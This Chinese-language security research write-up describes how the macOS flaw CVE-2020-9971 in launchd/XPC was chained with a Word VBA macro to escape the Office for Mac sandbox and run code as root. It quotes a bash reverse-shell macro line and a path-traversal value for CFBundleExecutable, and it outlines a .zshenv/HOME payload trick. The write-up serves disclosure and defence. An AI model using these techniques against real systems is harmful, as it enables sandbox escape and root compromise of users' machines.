利用CVE-2020-9971绕过Microsoft Office的应用程序沙箱
2021-07-12
来源:嘶吼专业版
在本文中,研究人员展示了他们如何利用已发布的macOS/iOS权限提升漏洞将Word文档武器化,解除应用程序沙箱限制并获得更高权限。
CVE-2020-9971 是 macOS/iOS 中的一个逻辑漏洞,可用于稳定的提权漏洞。在这篇文章中,研究人员 (@R3dF09) 提到它也可以在最受限制的应用沙箱中运行,因此研究人员决定对其进行测试并使用武器化的 Word 文档绕过 Microsoft Office 2019(适用于 Mac)应用沙箱。为了完成这个任务,研究人员不得不使用一些有趣的技巧来绕过 Apple 的文件隔离。
CVE-2020-9971位于launchd进程中,与XPC Services机制有关。这种机制提供了进程间通信,允许开发人员创建为其应用程序执行特定任务的服务。这通常用于将应用程序拆分为更小的部分,从而提高可靠性和安全性。launchd是mac系统下通用的进程管理器,是mac系统下非常重要的一个进程,一般来说该进程不允许直接以命令行的形式调用。只能通过其控制管理界面,launchctl来进行控制。launchd主要功能是进程管理。可以理解成是一个常驻在后台的进程,根据用户的配置,来响应特定的系统事件。launchd既可以用于系统级别的服务,又可以用于个人用户级别的服务。
每个进程都有自己的域,由 launchd 管理,其中包含有关进程可用的 XPC 服务的信息。苹果声称只有拥有者进程才能修改自己的域,但该漏洞的核心漏洞是能够将任意 XPC 服务添加到任意进程域中,然后触发它在该进程的上下文中运行。起初,攻击者将自制的 XPC 服务“注入”到具有 root 权限的特定进程的域中(systemsoundserverd)。开发者还使用了 XPC 服务的一个众所周知的功能来监听套接字以触发和启动它。
接下来,研究人员将描述成功将 Word 文档武器化并绕过 Word 应用程序沙箱的步骤。该研究是在易受 CVE-2020-9971 攻击的 macOS 10.15.4 和当时最新版本的 Microsoft Office 2019 上进行的,但这无关紧要,因为该漏洞在操作系统端。
漏洞利用
研究人员的第一个目标是创建一个独立的命令行漏洞利用。在这个阶段,研究人员认为他们只需要删除它并从武器化的 Word 文档中执行它即可,但实际情况并非如此。无论如何,研究人员用 XCode 创建了一个应用程序,附带一个简单的 XPC 服务,它执行以下步骤:
1.查找研究人员要使用的 root 特权进程的 PID。正如研究人员已经知道不可能在 Office 应用沙箱中执行 ps 一样,研究人员改为使用 launchctl 打印系统的输出,它显示了系统中的进程域。此时研究人员注意到systemoundserverd的进程域是在启动后延迟相当长的时间创建的,所以研究人员改用launchservicesd的进程域;
2.将研究人员的 XPC 服务注入到找到的 PID 的进程域中;
3.通过打开 TCP 套接字触发研究人员的 XPC 服务的启动;
附带的XPC服务只创建一个文件(表示成功),并配置为在指定的TCP端口上侦听。漏洞利用和 XPC 服务都存储在同一个应用程序包中,但请注意研究人员有两个不同的可执行文件。
通过这个独立的漏洞利用,研究人员能够从普通用户那里获得 root 权限,现在是时候开始实现研究人员的最终目标了——绕过沙盒。
绕过沙盒
研究人员的最终目标是使用此漏洞将 Word 文档武器化,以绕过应用程序沙箱。其基础是能够从这个Word文档中执行shell命令,这可以通过Microsoft Office中的其他漏洞实现,或者更容易通过VBA宏实现,这让研究人员只剩下说服用户按下“启用宏”的工作。更多关于针对 Mac 用户的基于宏的攻击请点此https://perception-point.io/mac-isnt-safe-how-do-you-like-them-apples/查看。对于这个概念验证,研究人员将使用 VBA 宏。
在 Office 应用沙箱的上下文中获取 bash shell 很简单,然后利用这些限制。研究人员所要做的就是侦听特定端口(例如 netcat)并从 Word 文档中执行以下 VBA 宏:
MacScript(“do shell script ”“bash -I >&/dev/tcp/127.0.0.1/PORT 0>&1 &”“”)
此时,在沙箱中有了一个shell,研究人员试图转储并执行独立漏洞,但它没有奏效。经过一些研究,研究人员发现他们在沙箱中创建的每个文件都是使用“com.apple.quarantine”属性创建的,这个可以通过 xattr 实用程序观察到。
隔离属性是许多 macOS 保护的核心,最初,它仅附加到从互联网下载的文件中,以执行多项安全检查(例如文件隔离、GateKeeper、Notarization 和 XProtect)。自从引入了沙箱之后,这个属性又增加了一个角色——标记从沙箱中创建的文件,并完全阻止它们被执行。以下是研究人员试图从沙箱shell中转储和执行一个文件时产生的日志:
kernel: (Sandbox) Sandbox: bash(1724) deny(1) process-exec* /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test
kernel: (Quarantine) exec of /Users/perceptionpoint/Library/Containers/com.microsoft.Word/Data/test denied since it was quarantined by Microsoft Word and created without user consent, qtn-flags was 0x00000086
可以看到研究人员可以执行 shell 命令,但不能转储和运行他们自己的可执行文件。对于可利用的可执行文件,研究人员有一个简单的替换方法:只需在ctypes包的帮助下运行一个执行相同步骤的python脚本。现在研究人员就能够将 XPC 服务注入目标进程域,甚至触发它的执行,但它没有运行:XPC 服务可执行文件本身被标记为隔离属性。
现在是时候更深入地研究XPC服务的结构了。从外部看,它看起来像一个扩展名为“xpc”的单一文件,但它实际上是一个具有典型结构的文件夹:
主要组件是 Info.plist 文件,它是一个描述服务的 XML 文件,以及可执行文件本身(位于 MacOS 文件夹内)。Info.plist 中的部分内容如下:
< key >CFBundleExecutable< /key >< string >AppService< /string >
研究人员不能使用他们自己的可执行文件,所以唯一的选择是使用系统现有的可执行文件之一。研究人员尝试在 CFBundleExecutable 项中使用完整路径,但是 XPC 服务根本无法加载。很明显,macOS 会在目录 Contents/MacOS 中查找具有此项中指定名称的可执行文件,也许研究人员可以使用路径遍历来指向现有的可执行文件,并尝试将值更改为:
< key >CFBundleExecutable< /key >< string >/////////usr/bin/yes< /string >
令研究人员惊讶的是,它奏效了!当研究人员使用这个“假”XPC 服务执行漏洞利用时,研究人员发现了一个具有 root 权限的“是”进程,即使研究人员是从沙箱中执行的。
因此,研究人员有能力以 root 权限运行进程,但似乎无法控制它们的参数。在团队内部就这个问题进一步咨询后,研究人员想出了一个好办法,他们注意到可以控制新进程的环境变量,即运行一个 shell 作为 XPC 服务(例如 zsh),将其 HOME 目录更改为研究人员可以控制,并将 shell 在执行开始时提供的文件放在那里(例如。zshenv)。
将它们全部封装在一起
研究人员编写了一个 python 脚本,执行以下步骤:
1.将“。zshenv”文件写入当前目录,在沙箱内,路径为 /Users/user/Library/Containers/com.microsoft.Word/Data,其中包含研究人员希望以 root 身份执行的载荷;
2.查找研究人员要使用的 root 权限进程的 PID (launchservicesd);
3.创建“假”XPC 服务,其中可执行文件指向 zsh,并将 HOME 环境变量设置为当前目录;
4.将“假”XPC 服务注入到找到的 PID 的进程域中;
5.通过打开 TCP 套接字触发 XPC 服务的启动;
然后研究人员将该脚本封装为 base64 格式,以便从VBA宏中执行它,并将其插入到 AutoOpen 子例程中。具体演示过程请点此,其中有效载荷只在/tmp/hacked中创建一个文件(请注意,该文件是以 root 身份创建的,并且没有隔离位)。
总结
研究人员证明了 CVE-2020-9971 可以用作沙箱逃逸漏洞,以 Word 文档作为研究人员的 POC。在这个过程中,研究人员发现了一种通过 XPC 服务启动任意可执行文件的方法(在 CFBundleExecutable 值中进行路径遍历),特别是执行 shell 脚本(通过控制 HOME 环境变量和转储 .zshenv 文件的技巧)。
这个沙箱逃逸漏洞使研究人员能够为 macOS 创建一个快速、简单和廉价的武器化 Word 文档,这严重危害了系统安全。
安全建议
1.避免打开陌生文档,尤其是运行来自未知来源或你不完全信任的发送方;
2.使用能够处理此类攻击的综合性安全产品。